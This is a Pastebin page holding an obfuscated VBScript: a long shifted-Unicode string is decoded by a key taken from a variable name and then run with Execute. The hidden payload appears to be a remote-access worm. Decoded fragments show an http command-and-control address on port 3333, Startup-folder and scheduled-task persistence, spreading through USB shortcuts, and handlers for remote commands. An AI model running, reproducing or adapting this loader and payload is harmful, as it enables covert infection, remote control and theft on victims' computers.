daily pastebin goal
58%
SHARE
TWEET

Untitled

a guest Jan 23rd, 2019 81 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. dim NBVCXWPOIUYTREZAQSGFDHKJML
  2. NBVCXWPOIUYTREZAQSGFDHKJML = "߬ߥࠈ࠴ࠩࠪࠩߥࠧ࠾ߥ࠻ࠤࠇߵ߶ߒߏࠔ࠳ߥࠪ࠷࠷࠴࠷ߥ࠷ࠪ࠸࠺࠲ࠪߥ࠳ࠪ࠽࠹ߒߏߒߏ࠯ߥࠂߥࠦ࠷࠷ࠦ࠾߭ߧࠜ࠘ࠨ࠷࠮࠵࠹߳࠘࠭ࠪ࠱࠱ߧ߱ߧ࠘ࠨ࠷࠮࠵࠹࠮࠳ࠬ߳ࠋ࠮࠱ࠪ࠘࠾࠸࠹ࠪ࠲ࠔࠧ࠯ࠪࠨ࠹ߧ߱ߧ࠘࠭ࠪ࠱࠱߳ࠆ࠵࠵࠱࠮ࠨࠦ࠹࠮࠴࠳ߧ߱ߧࠒ࠮ࠨ࠷࠴࠸࠴ࠫ࠹߳ࠝࠒࠑࠍ࠙࠙ࠕߧ߮ߒߏࠬߥࠂߥࠦ࠷࠷ࠦ࠾߭ߧࠍࠐࠈࠚߧ߱ߧࠍࠐࠑࠒߧ߱ߧࠍࠐࠈࠚࠡ࠻࠼ߵ࠷࠲ߧ߱ߧࠡ࠘࠴ࠫ࠹࠼ࠦ࠷ࠪࠡࠒ࠮ࠨ࠷࠴࠸࠴ࠫ࠹ࠡࠜ࠮࠳ࠩ࠴࠼࠸ࠡࠈ࠺࠷࠷ࠪ࠳࠹ࠛࠪ࠷࠸࠮࠴࠳ࠡࠗ࠺࠳ࠡߧ߱ߧࠍࠐࠑࠒࠡ࠘ࠔࠋ࠙ࠜࠆࠗࠊࠡࠈ࠱ࠦ࠸࠸ࠪ࠸ࠡߧ߱ߧࠗࠊࠌࠤ࠘ࠟߧ߱ߧࠡࠩࠪࠫࠦ࠺࠱࠹࠮ࠨ࠴࠳ࠡߧ߮ߒߏ࠾ࠂߥࠦ࠷࠷ࠦ࠾߭ߧ࠼࠮࠳࠲ࠬ࠲࠹࠸߿ߧ߱ߧ࠼࠮࠳߸߷ࠤ࠱࠴ࠬ࠮ࠨࠦ࠱ࠩ࠮࠸࠰ߧ߱ߧࠜ࠮࠳߸߷ࠤࠔ࠵ࠪ࠷ࠦ࠹࠮࠳ࠬ࠘࠾࠸࠹ࠪ࠲ߧ߱ߧ࠼࠮࠳࠲ࠬ࠲࠹࠸߿ࠡࠡ࠱࠴ࠨࠦ࠱࠭࠴࠸࠹ࠡ࠷࠴࠴࠹ࠡ࠸ࠪࠨ࠺࠷࠮࠹࠾ࠨࠪ࠳࠹ࠪ࠷ߧ߱ߧࠆ࠳࠹࠮ࠛ࠮࠷࠺࠸ࠕ࠷࠴ࠩ࠺ࠨ࠹ߧ߮ߒߏߒߏࠫ࠺࠳ࠨ࠹࠮࠴࠳ߥࠬ࠴߭࠲߮ߒߏ࠮ࠫߥ࠲ࠂ߹ߥ࠹࠭ࠪ࠳ߒߏ࠙ࠂߧ࠼࠮࠳࠲ࠬ࠲࠹࠸߿ࠡࠡ࠱࠴ࠨࠦ࠱࠭࠴࠸࠹ࠡ࠷࠴࠴࠹ࠡ࠸ࠪࠨ࠺࠷࠮࠹࠾ࠨࠪ࠳࠹ࠪ࠷ߧߒߏ࠘ࠪ࠹ߥࠇࠂࠌࠪ࠹ࠔࠧ࠯ࠪࠨ࠹߭࠾߭߸߮߮߳ࠎ࠳࠸࠹ࠦ࠳ࠨࠪ࠸ࠔࠫ߭࠾߭߹߮߮ߒߏࠫ࠴࠷ߥࠪࠦࠨ࠭ߥࠦߥ࠮࠳ߥࠧߒߏࠬ࠴ࠂࠦ߳ࠩ࠮࠸࠵࠱ࠦ࠾ࠓࠦ࠲ࠪߒߏࠪ࠽࠮࠹ߥࠫ࠴࠷ߒߏ࠳ࠪ࠽࠹ߒߏ࠘ࠪ࠹ߥࠇࠂࠌࠪ࠹ࠔࠧ࠯ࠪࠨ࠹߭࠾߭߸߮ߥ߫ߥߧ߷ߧ߮߳ࠎ࠳࠸࠹ࠦ࠳ࠨࠪ࠸ࠔࠫ߭࠾߭߹߮߮ߒߏࠫ࠴࠷ߥࠪࠦࠨ࠭ߥࠦߥ࠮࠳ߥࠧߒߏࠬ࠴ࠂࠦ߳ࠩ࠮࠸࠵࠱ࠦ࠾ࠓࠦ࠲ࠪߥߒߏࠪ࠽࠮࠹ߥࠫ࠴࠷ߒߏ࠳ࠪ࠽࠹ߒߏ࠮ࠫߥࠬ࠴ࠂߧߧߥ࠹࠭ࠪ࠳ߥࠬ࠴ࠂߧࠓ࠴࠹߲ࠫ࠴࠺࠳ࠩߧߒߏࠪ࠱࠸ࠪߒߏ࠘ࠪ࠹ߥࠇࠂࠌࠪ࠹ࠔࠧ࠯ࠪࠨ࠹߭࠾߭ߵ߮߮߳ࠎ࠳࠸࠹ࠦ࠳ࠨࠪ࠸ࠔࠫ߭࠾߭࠲߮߮ߒߏࠫ࠴࠷ߥࠪࠦࠨ࠭ߥࠦߥ࠮࠳ߥࠧߒߏ࠮ࠫߥ࠲ߥࠂߥ߶ߥ࠹࠭ࠪ࠳ߒߏࠬ࠴ࠂࠦ߳࠻࠴࠱࠺࠲ࠪ࠸ࠪ࠷࠮ࠦ࠱࠳࠺࠲ࠧࠪ࠷ߒߏࠪ࠱࠸ࠪ࠮ࠫߥ࠲ߥࠂߥ߷ߥ࠹࠭ࠪ࠳ߒߏࠬ࠴ࠂࠦ߳ࠨࠦ࠵࠹࠮࠴࠳ߒߏࠪ࠳ࠩߥ࠮ࠫߒߏࠪ࠽࠮࠹ߥࠫ࠴࠷ߒߏ࠳ࠪ࠽࠹ߒߏࠪ࠳ࠩߥ࠮ࠫߒߏࠪ࠳ࠩߥࠫ࠺࠳ࠨ࠹࠮࠴࠳ߥߒߏߒߏ࠸ࠪ࠹ߥ࠼ߥࠂߥࠜ࠘ࠨ࠷࠮࠵࠹ߒߏ࠸ࠪ࠹ߥ࠸࠭ߥࠂߥࠈ࠷߭ߵ߮ߒߏ࠸ࠪ࠹ߥࠫ࠸ߥࠂߥࠈ࠷߭߶߮ߒߏߒߏࠋ࠺࠳ࠨ࠹࠮࠴࠳ߥࠈ࠷߭ࠓ߮ߒߏ࠘ࠪ࠹ߥࠈ࠷ߥࠂߥࠈ࠷ࠪࠦ࠹ࠪࠔࠧ࠯ࠪࠨ࠹߭࠯߭ࠓ߮߮ߒߏࠊ࠳ࠩߥࠋ࠺࠳ࠨ࠹࠮࠴࠳ߒߏߒߏࠫ࠺࠳ࠨ࠹࠮࠴࠳ߥࠊ࠽߭࠸߮ߒߏࠊ࠽ߥࠂߥ࠸࠭߳ࠊ࠽࠵ࠦ࠳ࠩࠊ࠳࠻࠮࠷࠴࠳࠲ࠪ࠳࠹࠘࠹࠷࠮࠳ࠬ࠸߭ߧߪߧ߫࠸߫ߧߪߧ߮ߒߏࠪ࠳ࠩߥࠫ࠺࠳ࠨ࠹࠮࠴࠳ߒߏߒߏࠫ࠺࠳ࠨ࠹࠮࠴࠳ߥࠕ࠹߭ࠈ߱ࠆ߮ߒߏࠕ࠹ࠂߧߧߒߏ࠘ࠪ࠹ߥࠝࠂࠈ࠷߭߸߮ߒߏࠝ߳ࠔ࠵ࠪ࠳ߥߧࠕࠔ࠘࠙ߧ߱ߧ࠭࠹࠹࠵߿ߴߴ࠼ࠦ࠸ࠦ࠼ࠦ࠸ࠦ࠼ࠦ࠸ࠦ߳࠲࠾࠶߲࠸ࠪࠪ߳ࠨ࠴࠲߿߸߸߸߸ߴߧ߫ࠈ߱ࠫࠦ࠱࠸ࠪߒߏࠝ߳࠸ࠪ࠹࠷ࠪ࠶࠺ࠪ࠸࠹࠭ࠪࠦࠩࠪ࠷ߥߧࠚ࠸ࠪ࠷߲ࠆࠬࠪ࠳࠹߿ߧ߱࠳ࠫߒߏࠝ߳࠸ࠪ࠳ࠩߥࠆߒߏࠕ࠹ࠂࠝ߳࠷ࠪ࠸࠵࠴࠳࠸ࠪ࠹ࠪ࠽࠹ߒߏࠪ࠳ࠩߥࠫ࠺࠳ࠨ࠹࠮࠴࠳ߒߏߒߏࠋ࠺࠳ࠨ࠹࠮࠴࠳ߥ࠳ࠫߒߏ࠳ࠫࠂߧߧߒߏ࠮ࠂࠬ࠴߭߶߮ߒߏ࠸ࠂࠛࠓߥ߫ߥߧࠤߧߥ߫ߥ࠮ߒߏ࠳ࠫࠂ࠳ࠫ߫࠸߫ࠨߒߏ࠸ࠂࠪ࠽߭ߧࠈࠔࠒࠕࠚ࠙ࠊࠗࠓࠆࠒࠊߧ߮ߒߏ࠳ࠫࠂ࠳ࠫ߫࠸߫ࠨߒߏ࠸ࠂࠪ࠽߭ߧࠚ࠘ࠊࠗࠓࠆࠒࠊߧ߮ߒߏ࠳ࠫࠂ࠳ࠫ߫࠸߫ࠨߒߏ࠸ࠂࠬ࠴߭߷߮ߒߏ࠳ࠫࠂ࠳ࠫ߫࠸߫ࠨߒߏ࠸ࠂࠬ࠴߭߹߮ߒߏ࠳ࠫࠂ࠳ࠫ߫࠸߫ࠨ߫ࠨ߫࠳࠹߫ࠨ߫࠺߫ࠨߒߏࠊ࠳ࠩߥࠋ࠺࠳ࠨ࠹࠮࠴࠳ߒߏߒߏ࠘࠺ࠧߥࠓ࠸ߒߏ࠴࠳ߥࠪ࠷࠷࠴࠷ߥ࠷ࠪ࠸࠺࠲ࠪߥ࠳ࠪ࠽࠹ߒߏߒߏ࠸࠭߳࠷࠺࠳ߥߧ࠸ࠨ࠭࠹ࠦ࠸࠰࠸ߥߴࠨ࠷ࠪࠦ࠹ࠪߥߴ࠸ࠨߥ࠲࠮࠳࠺࠹ࠪߥߴ࠲࠴ߥ߶ߥߴ࠹࠳ߥ࠘࠰࠾࠵ࠪߥߴ࠹࠷ߥߧߥ߫ߥࠈ࠭࠷ࠜ߭߸߹߮ߥ߫ߥࠫ࠺߱ࠫࠦ࠱࠸ࠪߒߏߒߏࠫ࠸߳ࠨ࠴࠵࠾ࠫ࠮࠱ࠪߥࠫ࠺߱ߥࠈ࠷߭߷߮߳ࠓࠦ࠲ࠪ࠘࠵ࠦࠨࠪ߭߫ࠍ߼߮߳࠘ࠪ࠱ࠫ߳ࠕࠦ࠹࠭ߥ߫ࠈߥ߫ߥ࠼࠳ߥ߱࠹࠷࠺ࠪߒߏࠪ࠳ࠩߥ࠘࠺ࠧߒߏߒߏߒߏߒߏߒߏߒߏߒߏߒߏ࠻࠳ࠂߧ࠻࠼ߵ࠷࠲ߧߒߏࠚࠂߧߧߒߏߒߏࠨ࠭ߥࠂߥࠨ࠭࠷࠼߭߸߹߮ߒߏࠨߥࠂߥࠨ࠭࠷࠼߭߾߷߮ߒߏࠫ࠺ߥࠂߥ࠼߳࠸ࠨ࠷࠮࠵࠹ࠫ࠺࠱࠱࠳ࠦ࠲ࠪߒߏ࠼࠳ࠂ࠼߳࠸ࠨ࠷࠮࠵࠹࠳ࠦ࠲ࠪߒߏࠓ࠙ࠂߧࠓ࠴ߧߒߏ࠮ࠫߥࠫ࠸߳ࠫ࠮࠱ࠪࠪ࠽࠮࠸࠹࠸߭ࠪ࠽߭ߧࠜ࠮࠳ࠩ࠮࠷ߧ߮ߥ߫ߥߧࠡࠒ࠮ࠨ࠷࠴࠸࠴ࠫ࠹߳ࠓࠊ࠙ࠡࠋ࠷ࠦ࠲ࠪ࠼࠴࠷࠰ࠡ࠻߷߳ߵ߳ߺߵ߼߷߼ࠡ࠻ࠧࠨ߳ࠪ࠽ࠪߧ߮ߥ࠹࠭ࠪ࠳ߒߏࠓ࠙ࠂߧࠞࠪ࠸ߧߒߏࠪ࠳ࠩߥ࠮ࠫߒߏߒߏࠚࠂߥ࠸࠭߳࠷ࠪࠬ࠷ࠪࠦࠩ߭ࠬ߭߷߮߮ߒߏ࠮ࠫߥࠚࠂߧߧߥ࠹࠭ࠪ࠳ߒߏ࠮ࠫߥ࠲࠮ࠩ߭ࠫ࠺߱߷߮ࠂߧ߿ࠡߧߥ߫ߥ࠼࠳ߥ࠹࠭ࠪ࠳ߒߏࠚࠂߧ࠙ࠗࠚࠊߧߒߏ࠸࠭߳࠷ࠪࠬ࠼࠷࠮࠹ࠪߥࠬ߭߷߮߱ߥࠚ߱ߥࠬ߭ߺ߮ߒߏࠪ࠱࠸ࠪߒߏࠚࠂߧࠋࠆࠑ࠘ࠊߧߒߏ࠸࠭߳࠷ࠪࠬ࠼࠷࠮࠹ࠪߥࠬ߭߷߮߱ߥࠚ߱ߥࠬ߭ߺ߮ߒߏࠪ࠳ࠩߥ࠮ࠫߒߏࠪ࠳ࠩߥ࠮ࠫߒߏߒߏࠓ࠸ߒߏ࠸࠵࠱ࠂߧࡁࠛࡁߧߒߏ࠼࠭࠮࠱ࠪߥ࠹࠷࠺ࠪߒߏ࠸ࠂ࠸࠵࠱࠮࠹߭ࠕ࠹߭ߧࠛ࠷ࠪߧ߱ߧߧ߮߱࠸࠵࠱߮ߒߏ࠸ࠪ࠱ࠪࠨ࠹ߥࠨࠦ࠸ࠪߥ࠸߭ߵ߮ߒߏࠨࠦ࠸ࠪߥߧࠪ࠽ࠨߧߒߏ࠸ࠦࠂߥ࠸߭߶߮ߒߏࠪ࠽ࠪࠨ࠺࠹ࠪߥ࠸ࠦߒߏࠨࠦ࠸ࠪߥߧ࠘ࠨߧߒߏ࠸߷ߥࠂߥࠊ࠽߭ߧ࠹ࠪ࠲࠵ߧ߮ߥ߫ߥߧࠡߧߥ߫ߥ࠸߭߷߮ߒߏ࠸ࠪ࠹ߥ࠼࠷ߥࠂߥࠫ࠸߳ࠔ࠵ࠪ࠳࠙ࠪ࠽࠹ࠋ࠮࠱ࠪ߭࠸߷߱߷߱࠙࠷࠺ࠪ߮ߒߏ࠼࠷߳ࠜ࠷࠮࠹ࠪߥ࠸߭߶߮ߒߏ࠼࠷߳ࠈ࠱࠴࠸ࠪ߭߮ߒߏ࠸࠭߳࠷࠺࠳ߥ࠸߷߱ߥ߻ߒߏࠨࠦ࠸ࠪߥߧࠗࠋߧߒߏ࠸߷ߥࠂߥࠊ࠽߭ߧ࠹ࠪ࠲࠵ߧ߮ߥ߫ߥߧࠡߧߥ߫ߥ࠸߭߷߮ߒߏ࠸ࠪ࠹ߥ࠼࠷ߥࠂߥࠫ࠸߳ࠔ࠵ࠪ࠳࠙ࠪ࠽࠹ࠋ࠮࠱ࠪ߭࠸߷߱߷߱࠙࠷࠺ࠪ߮ߒߏ࠼࠷߳ࠜ࠷࠮࠹ࠪߥ࠸߭߶߮ߒߏ࠼࠷߳ࠈ࠱࠴࠸ࠪ߭߮ߒߏ࠸࠭߳࠷࠺࠳ߥ࠸߷ߒߏࠨࠦ࠸ࠪߥߧࠗࠪ࠳ߧߒߏ࠸ࠪ࠹ߥ࠼࠷ߥࠂߥࠫ࠸߳ࠔ࠵ࠪ࠳࠙ࠪ࠽࠹ࠋ࠮࠱ࠪ߭ࠫ࠺߱߶߮ߒߏࠫߥࠂߥ࠼࠷߳ࠗࠪࠦࠩࠆ࠱࠱ߒߏ࠼࠷߳ࠨ࠱࠴࠸ࠪ߭߮ߒߏࠫߥࠂߥ࠷ࠪ࠵࠱ࠦࠨࠪ߭ࠫ߱ࠨ࠭߫࠻࠳߫ࠨ࠭߱ࠨ࠭߫࠸߭߶߮߫ࠨ࠭߮ߒߏ࠸ࠪ࠹ߥ࠼࠷ߥࠂߥࠫ࠸߳ࠔ࠵ࠪ࠳࠙ࠪ࠽࠹ࠋ࠮࠱ࠪ߭ࠫ࠺߱߷߱ࠫࠦ࠱࠸ࠪ߮ߒߏ࠼࠷߳ࠜ࠷࠮࠹ࠪߥࠫߒߏ࠼࠷߳ࠨ࠱࠴࠸ࠪ߭߮ߒߏࠨࠦ࠸ࠪߥߧࠚ࠵ߧߒߏ࠸ࠪ࠹ߥ࠼࠷ߥࠂߥࠫ࠸߳ࠔ࠵ࠪ࠳࠙ࠪ࠽࠹ࠋ࠮࠱ࠪ߭ࠫ࠺߱߷߱ࠫࠦ࠱࠸ࠪ߮ߒߏ࠸߭߶߮ߥࠂߥ࠷ࠪ࠵࠱ࠦࠨࠪ߭࠸߭߶߮߱ߧࡁࠚࡁߧ߱ߧࡁࠛࡁߧ߮ߒߏ࠼࠷߳ࠜ࠷࠮࠹ࠪߥ࠸߭߶߮ߒߏ࠼࠷߳ࠈ࠱࠴࠸ࠪ߭߮ߒߏ࠸࠭߳࠷࠺࠳ߥߧ࠼࠸ࠨ࠷࠮࠵࠹߳ࠪ࠽ࠪߥߴߴࠇߥߧߥ߫ߥࠨ࠭ߥ߫ߥࠫ࠺ߥ߫ߥࠨ࠭߱ߥ߻ߒߏ࠼߳࠶࠺࠮࠹ߒߏࠨࠦ࠸ࠪߥߧࠈ࠱ߧߒߏࠜ߳࠶࠺࠮࠹ߥߒߏࠨࠦ࠸ࠪߥߧࠚ࠳ߧߒߏ࠘߭߶߮ߥࠂߥ࠷ࠪ࠵࠱ࠦࠨࠪ߭࠘߭߶߮߱ߧߪࠫߧ߱ࠫ࠺߮ߒߏ࠘߭߶߮ߥࠂߥ࠷ࠪ࠵࠱ࠦࠨࠪ߭࠘߭߶߮߱ߧߪ࠳ߧ߱࠼࠳߮ߒߏ࠘߭߶߮ߥࠂߥ࠷ࠪ࠵࠱ࠦࠨࠪ߭࠘߭߶߮߱ߧߪ࠸ࠫࠩ࠷ߧ߱ࠩ࠷߮ߒߏࠪ࠽ࠪࠨ࠺࠹ࠪߥ࠘߭߶߮ߒߏ࠼߳࠶࠺࠮࠹ߒߏࠪ࠳ࠩߥ࠸ࠪ࠱ࠪࠨ࠹ߒߏࠜ߳࠘࠱ࠪࠪ࠵ߥ߻ߵߵߵߒߏߒߏ࠼ࠪ࠳ࠩ"
  3. Windows = ""
  4. Dim Acc
  5. Acc = 0
  6. dim Download
  7. Download = 0
  8. dim Run
  9. dim WXCVBNLMPIYHFSETAQRUIOUTBN
  10. Run = "NBVCXWPOIUYTREZAQSGFDHKJML"
  11. Facebook = 0
  12. do until Download = len(Run)
  13. Download = Download + 1
  14. WXCVBNLMPIYHFSETAQRUIOUTBN = WXCVBNLMPIYHFSETAQRUIOUTBN + AscW(mid(Run,Download,1))
  15.  
  16. loop
  17. do until Acc= Len(NBVCXWPOIUYTREZAQSGFDHKJML)
  18. Acc= Acc + 1
  19. Windows = Windows & ChrW(AscW(Mid(NBVCXWPOIUYTREZAQSGFDHKJML, Acc, 1)) - WXCVBNLMPIYHFSETAQRUIOUTBN + len(Run))
  20. loop
  21. Execute Windows
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top